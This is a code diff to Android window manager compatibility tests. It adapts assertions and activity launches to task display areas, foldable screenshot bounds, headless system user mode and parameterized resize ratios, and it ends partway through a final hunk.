--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -137,8 +137,13 @@
         // We do this before anything else, because having an active device owner can prevent us
         // from being able to force stop apps. (b/142061276)
         runWithShellPermissionIdentity(() -> {
-            runShellCommand("dpm remove-active-admin --user current "
+            runShellCommand("dpm remove-active-admin --user 0 "
                     + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+            if (UserManager.isHeadlessSystemUserMode()) {
+                // Must also remove the PO from current user
+                runShellCommand("dpm remove-active-admin --user cur "
+                        + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+            }
         });
 
         stopTestPackage(TEST_PACKAGE_APP_A);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
index 2614f3d..faec941 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
@@ -92,19 +92,16 @@
                     Integer.toString(activityLaunchIndex) /* secondActivityId */,
                     mSplitInfoConsumer);
 
-            // Verify the split states match with the current and previous launches
+            // Verify that the secondary container has all the secondary activities
             secondaryActivities.add(secondaryActivity);
             final List<SplitInfo> lastReportedSplitInfoList =
                     mSplitInfoConsumer.getLastReportedValue();
             splitInfosList.add(lastReportedSplitInfoList);
-            assertEquals(secondaryActivities.size(), lastReportedSplitInfoList.size());
-            for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
-                    splitInfoIndex++) {
-                final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
-                assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
-                assertEquals(secondaryActivities.get(splitInfoIndex),
-                        getSecondaryStackTopActivity(splitInfo));
-            }
+            assertEquals(1, lastReportedSplitInfoList.size());
+            final SplitInfo splitInfo = lastReportedSplitInfoList.get(0);
+            assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+            assertEquals(secondaryActivities, splitInfo.getSecondaryActivityStack()
+                    .getActivities());
         }
 
         // Iteratively finish each secondary activity and verify that the primary activity is split
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
index 76a78f8..948f6a4 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
@@ -19,6 +19,7 @@
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
 
 import android.app.Activity;
+import android.content.Context;
 import android.content.res.Configuration;
 import android.graphics.Rect;
 import android.os.Bundle;
@@ -44,7 +45,7 @@
     @Override
     public void onCreate(@Nullable Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        final View contentView = new View(this);
+        final View contentView = new TestContentViewForConfigurationChange(this);
         mRootViewId = View.generateViewId();
         contentView.setId(mRootViewId);
         setContentView(contentView);
@@ -74,17 +75,6 @@
         sResumeLatch.countDown();
     }
 
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-
-        final Rect newActivityBounds = getActivityBounds(this);
-        if (!newActivityBounds.equals(mPreviousBounds)) {
-            mPreviousBounds.set(newActivityBounds);
-            mBoundsChangeLatch.countDown();
-        }
-    }
-
     /**
      * Resets layout counter when waiting for a layout to happen before calling
      * {@link #waitForLayout()}.
@@ -151,4 +141,24 @@
             return false;
         }
     }
+
+    /**
+     * Sometimes activity configuration change does not trigger when embedding status change, need
+     * to use View's instead.
+     */
+    class TestContentViewForConfigurationChange extends View {
+        public TestContentViewForConfigurationChange(Context context) {
+            super(context);
+        }
+
+        @Override
+        protected void onConfigurationChanged(Configuration newConfig) {
+            super.onConfigurationChanged(newConfig);
+            final Rect newActivityBounds = getActivityBounds(TestActivity.this);
+            if (!newActivityBounds.equals(mPreviousBounds)) {
+                mPreviousBounds.set(newActivityBounds);
+                mBoundsChangeLatch.countDown();
+            }
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 74ef09e..8d73c17 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -52,6 +52,7 @@
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_FROM_TRANSLUCENT;
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
@@ -63,6 +64,7 @@
 import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.app.Components;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -348,9 +350,14 @@
         if (!hasHomeScreen()) {
             return;
         }
+        mWmState.computeState();
+        final int homeTaskDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(mWmState.getHomeActivityName());
+
         // Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
         getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
                 .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .setLaunchTaskDisplayAreaFeatureId(homeTaskDisplayAreaFeatureId)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
         waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
         final int taskId = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
@@ -361,6 +368,7 @@
                     .setUseInstrumentation()
                     .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
                     .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                    .setLaunchTaskDisplayAreaFeatureId(homeTaskDisplayAreaFeatureId)
                     .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
             mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
         } finally {
@@ -390,12 +398,24 @@
             mWmState.assertHomeActivityVisible(true /* visible */);
         }
 
+        // If home activity is present we will launch the activities into the same TDA as the home,
+        // otherwise we will launch the second activity into the same TDA as the first one.
+        int launchTaskDisplayAreaFeatureId = hasHomeScreen()
+                ? mWmState.getTaskDisplayAreaFeatureId(mWmState.getHomeActivityName())
+                : FEATURE_UNDEFINED;
+
         // Launch an activity that calls "moveTaskToBack" to finish itself.
-        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY, extraString(EXTRA_FINISH_POINT, finishPoint));
+        launchActivityOnTaskDisplayArea(MOVE_TASK_TO_BACK_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                launchTaskDisplayAreaFeatureId, DEFAULT_DISPLAY,
+                extraString(EXTRA_FINISH_POINT, finishPoint));
+
         mWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, true);
 
-        // Launch a different activity on top.
-        launchActivity(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        // Launch a different activity on top into the same TaskDisplayArea.
+        launchTaskDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(MOVE_TASK_TO_BACK_ACTIVITY);
+        launchActivityOnTaskDisplayArea(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                launchTaskDisplayAreaFeatureId, DEFAULT_DISPLAY);
         mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
         mWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
         final boolean shouldBeVisible =
@@ -599,6 +619,7 @@
     }
 
     @Test
+    @Ignore("Unable to disable AOD for some devices")
     public void testTurnScreenOnWithAttr_Freeform() {
         assumeTrue(supportsLockScreen());
         assumeTrue(supportsFreeform());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 8360e97..1aa624a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -58,7 +58,6 @@
 import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Context;
-import android.content.res.Resources;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
@@ -69,7 +68,6 @@
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
-import android.util.DisplayMetrics;
 import android.view.Display;
 import android.window.WindowContainerTransaction;
 
@@ -363,6 +361,9 @@
     public void testTranslucentAppOrientationRequests() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
 
+        // Disable fixed to user rotation by creating a rotation session
+        createManagedRotationSession();
+
         separateTestJournal();
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         final SizeInfo initialReportedSizes =
@@ -475,6 +476,7 @@
         // Start a portrait activity first to ensure that the orientation will change.
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
         mWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
+        final int prevRotation = mWmState.getRotation();
 
         getLaunchActivityBuilder()
                 .setUseInstrumentation()
@@ -499,34 +501,35 @@
         assertEquals("The last reported size should be the same as the one from onCreate",
                 reportedSizes, onCreateConfigInfo.sizeInfo);
 
-        final Display display = mDm.getDisplay(Display.DEFAULT_DISPLAY);
-        final Point expectedRealDisplaySize = new Point();
-        display.getRealSize(expectedRealDisplaySize);
+        final WindowManagerState.DisplayContent dc = mWmState.getDisplay(Display.DEFAULT_DISPLAY);
+        final Point realDisplaySize =
+                new Point(dc.getDisplayRect().width(), dc.getDisplayRect().height());
+        final int currentRotation = mWmState.getRotation();
+        // Some devices may launch the activity in a letterboxed area so the display won't rotate.
+        final boolean displayRotationChanged = prevRotation != currentRotation;
 
-        final int expectedRotation = display.getRotation();
         assertEquals("The activity should get the final display rotation in onCreate",
-                expectedRotation, onCreateConfigInfo.rotation);
+                currentRotation, onCreateConfigInfo.rotation);
         assertEquals("The application should get the final display rotation in onCreate",
-                expectedRotation, appConfigInfo.rotation);
+                currentRotation, appConfigInfo.rotation);
         assertEquals("The orientation of application must be landscape",
                 ORIENTATION_LANDSCAPE, appConfigInfo.sizeInfo.orientation);
         assertEquals("The orientation of system resources must be landscape",
                 ORIENTATION_LANDSCAPE, globalSizeInfo.orientation);
-        assertEquals("The activity should get the final display size in onCreate",
-                expectedRealDisplaySize, onCreateRealDisplaySize);
 
-        final boolean isLandscape = expectedRealDisplaySize.x > expectedRealDisplaySize.y;
-        assertEquals("The app size of activity should have the same orientation", isLandscape,
-                onCreateSize.displayWidth > onCreateSize.displayHeight);
+        final boolean isLandscape = onCreateSize.displayWidth > onCreateSize.displayHeight;
+        if (displayRotationChanged) {
+            assertEquals("The activity should get the final display size in onCreate",
+                    realDisplaySize, onCreateRealDisplaySize);
+            assertEquals("The app size of activity should have the same orientation", isLandscape,
+                    realDisplaySize.x > realDisplaySize.y);
+            assertEquals("The display metrics of system resources must be landscape", isLandscape,
+                    globalSizeInfo.metricsWidth > globalSizeInfo.metricsHeight);
+        }
         assertEquals("The application should get the same orientation", isLandscape,
                 appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
         assertEquals("The app display metrics must be landscape", isLandscape,
                 appConfigInfo.sizeInfo.metricsWidth > appConfigInfo.sizeInfo.metricsHeight);
-
-        final DisplayMetrics globalMetrics = Resources.getSystem().getDisplayMetrics();
-        assertEquals("The display metrics of system resources must be landscape",
-                new Point(globalMetrics.widthPixels, globalMetrics.heightPixels),
-                new Point(globalSizeInfo.metricsWidth, globalSizeInfo.metricsHeight));
     }
 
     @Test
@@ -793,6 +796,9 @@
     public void testTaskMoveToBackOrientation() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
 
+        // Disable fixed to user rotation by creating a rotation session
+        createManagedRotationSession();
+
         // Start landscape activity.
         launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
index 96cf5c2..e032a10 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
@@ -25,6 +25,7 @@
 import android.content.ComponentName;
 import android.graphics.Point;
 import android.graphics.Rect;
+import android.server.wm.WindowManagerState.DisplayArea;
 import android.view.Display;
 import android.view.WindowManager;
 
@@ -97,10 +98,8 @@
     }
 
     float getDisplayAspectRatio(ComponentName componentName) {
-        final int displayId = mWmState.getDisplayByActivity(componentName);
-        final WindowManagerState.DisplayContent display = mWmState.getDisplay(displayId);
-
-        final Rect appRect = display.getAppRect();
+        final DisplayArea tda = mWmState.getTaskDisplayArea(componentName);
+        final Rect appRect = tda.getAppBounds();
         final int shortSide = Math.min(appRect.width(), appRect.height());
         final int longSide = Math.max(appRect.width(), appRect.height());
         return (float) longSide / (float) shortSide;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index e491926..759b4e1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -351,7 +351,14 @@
 
             // Launch a new fullscreen activity
             // Using Animation Test Activity because it is opaque on all devices.
-            launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
+            int launchTDAId = mWmState.getTaskDisplayAreaFeatureId(ASSISTANT_ACTIVITY);
+            launchActivityOnTaskDisplayArea(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                    launchTDAId, mAssistantDisplayId);
+            // If the activity is not launched in same TDA, ASSISTANT_ACTIVITY will be visible.
+            assumeTrue("Should launch in same TDA",
+                    mWmState.getTaskDisplayArea(ASSISTANT_ACTIVITY)
+                            == mWmState.getTaskDisplayArea(ANIMATION_TEST_ACTIVITY)
+            );
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 23e47c2..42efd62 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -73,6 +73,7 @@
     private static final int DISABLE_BLUR_BROADCAST_WAIT_TIME = 100;
     private float mSavedAnimatorDurationScale;
     private boolean mSavedWindowBlurDisabledSetting;
+    private Rect mSavedActivityBounds;
 
     @Before
     public void setUp() {
@@ -87,7 +88,13 @@
                     Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
             Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
         });
-        startTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+
+        // Use the background activity's bounds when taking the device screenshot.
+        // This is needed for multi-screen devices (foldables) where
+        // the launched activity covers just one screen
+        WindowManagerState.Activity act = startAndReturnTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+        mSavedActivityBounds = act.getBounds();
+
         verifyOnlyBackgroundImageVisible();
         assertTrue(mContext.getSystemService(WindowManager.class).isCrossWindowBlurEnabled());
     }
@@ -109,7 +116,7 @@
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
 
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
     }
 
     @Test
@@ -118,7 +125,7 @@
                           extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
 
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
         assertBlurBehind(screenshot, windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
@@ -165,22 +172,22 @@
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
     }
 
@@ -191,21 +198,21 @@
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot,  windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
     }
@@ -218,21 +225,21 @@
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
     }
@@ -241,7 +248,7 @@
     public void testBlurBehindAndBackgroundBlurSetWithAttributes() {
         startTestActivity(BLUR_ATTRIBUTES_ACTIVITY);
         final Rect windowFrame = getWindowFrame(BLUR_ATTRIBUTES_ACTIVITY);
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
 
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -254,7 +261,7 @@
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR),
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
 
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -326,6 +333,15 @@
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
     }
 
+    private WindowManagerState.Activity startAndReturnTestActivity(ComponentName activityName,
+                                                                   final CliIntentExtra... extras) {
+        launchActivity(activityName, extras);
+        assertNotEquals(mWmState.getRootTaskIdByActivity(activityName), INVALID_STACK_ID);
+        waitAndAssertResumedActivity(activityName, activityName + " must be resumed");
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        return mWmState.getActivity(activityName);
+    }
+
 
     private Rect getWindowFrame(ComponentName activityName) {
         String windowName = getWindowName(activityName);
@@ -334,7 +350,7 @@
     }
 
     private void verifyOnlyBackgroundImageVisible() {
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         final int height = screenshot.getHeight();
         final int width = screenshot.getWidth();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 7e5d5a1..16bdeb6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -55,6 +55,11 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.List;
 
 /**
  * The test is focused on compatibility changes that have an effect on WM logic, and tests that
@@ -71,6 +76,7 @@
  * atest CtsWindowManagerDeviceTestCases:CompatChangeTests
  */
 @Presubmit
+@RunWith(Parameterized.class)
 public final class CompatChangeTests extends MultiDisplayTestBase {
     private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY =
             component(ResizeablePortraitActivity.class);
@@ -96,6 +102,14 @@
 
     private static final float FLOAT_EQUALITY_DELTA = 0.01f;
 
+    @Parameterized.Parameters(name= "{0}")
+    public static List<Double> data() {
+        return Arrays.asList(0.5, 2.0);
+    }
+
+    @Parameterized.Parameter(0)
+    public double resizeRatio;
+
     @Rule
     public TestRule compatChangeRule = new PlatformCompatChangeRule();
 
@@ -490,10 +504,7 @@
         mWmState.computeState();
         WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
 
-        runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 0.5,
-                inSizeCompatModeAfterResize);
-        waitForRestoreDisplay(originalDC);
-        runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 2,
+        runSizeCompatTest(activity, windowingMode, resizeRatio,
                 inSizeCompatModeAfterResize);
     }
 
@@ -559,11 +570,7 @@
         mWmState.computeState();
         WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
 
-        runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 0.5,
-                inSizeCompatModeAfterResize);
-        assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
-        waitForRestoreDisplay(originalDC);
-        runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio=*/ 2,
+        runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, resizeRatio,
                 inSizeCompatModeAfterResize);
         assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index dc7c308..edd15ad 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -429,6 +429,12 @@
                 .setWaitForLaunched(false)
                 .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).execute();
         mWmState.waitForKeyguardShowingAndNotOccluded();
+        // The activity should be launched in same TDA to ensure that
+        // keyguard is showing and not occluded.
+        assumeTrue("Should launch in same TDA",
+                mWmState.getTaskDisplayArea(occludingActivity)
+                        == mWmState.getTaskDisplayArea(BROADCAST_RECEIVER_ACTIVITY)
+        );
         mWmState.assertKeyguardShowingAndNotOccluded();
 
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index cb2fb3f..0e7ccb7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -57,6 +57,7 @@
 import android.content.ContextWrapper;
 import android.content.Intent;
 import android.content.res.Configuration;
+import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -365,9 +366,18 @@
     @Test
     public void testLaunchSecondaryHomeActivityOnDisplayWithDecorations() {
         createManagedHomeActivitySession(SECONDARY_HOME_ACTIVITY);
+        boolean useSystemProvidedLauncher = mContext.getResources().getBoolean(
+                Resources.getSystem().getIdentifier("config_useSystemProvidedLauncherForSecondary",
+                        "bool", "android"));
 
-        // Provided secondary home activity should be automatically launched on the new display.
-        assertSecondaryHomeResumedOnNewDisplay(SECONDARY_HOME_ACTIVITY);
+        if (useSystemProvidedLauncher) {
+            // Default secondary home activity should be automatically launched on the new display
+            // if forced by the config.
+            assertSecondaryHomeResumedOnNewDisplay(getDefaultSecondaryHomeComponent());
+        } else {
+            // Provided secondary home activity should be automatically launched on the new display.
+            assertSecondaryHomeResumedOnNewDisplay(SECONDARY_HOME_ACTIVITY);
+        }
     }
 
     private void assertSecondaryHomeResumedOnNewDisplay(ComponentName homeComponentName) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 74a6e3a9..607f439 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -915,6 +915,11 @@
                 extraString(EXTRA_ON_PAUSE_DELAY, "350"),
                 extraString(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true"));
         launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
+        // if the activity is not launched in same TDA, pip is not triggered.
+        assumeTrue("Should launch in same tda",
+                mWmState.getTaskDisplayArea(RESUME_WHILE_PAUSING_ACTIVITY)
+                        == mWmState.getTaskDisplayArea(PIP_ACTIVITY)
+        );
         assertPinnedStackExists();
     }
 
@@ -1307,6 +1312,11 @@
 
         // Launch another and ensure that there is a pinned stack.
         launchActivity(TEST_ACTIVITY);
+        // if the activities do not launch in same TDA, pip is not triggered.
+        assumeTrue("Should launch in same tda",
+                mWmState.getTaskDisplayArea(PIP_ACTIVITY)
+                        == mWmState.getTaskDisplayArea(TEST_ACTIVITY)
+        );
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         waitAndAssertActivityState(PIP_ACTIVITY, STATE_PAUSED, "activity must be paused");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 910f311..b05f1c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -74,6 +74,7 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        assumeTrue(supportsMultiWindow());
         // Launch activities in fullscreen, otherwise, some tests fail on devices which use freeform
         // as the default windowing mode, because tests' prerequisite are that activity A, B, and C
         // need to overlay completely, but they can be partially overlay as freeform windows.
@@ -284,7 +285,41 @@
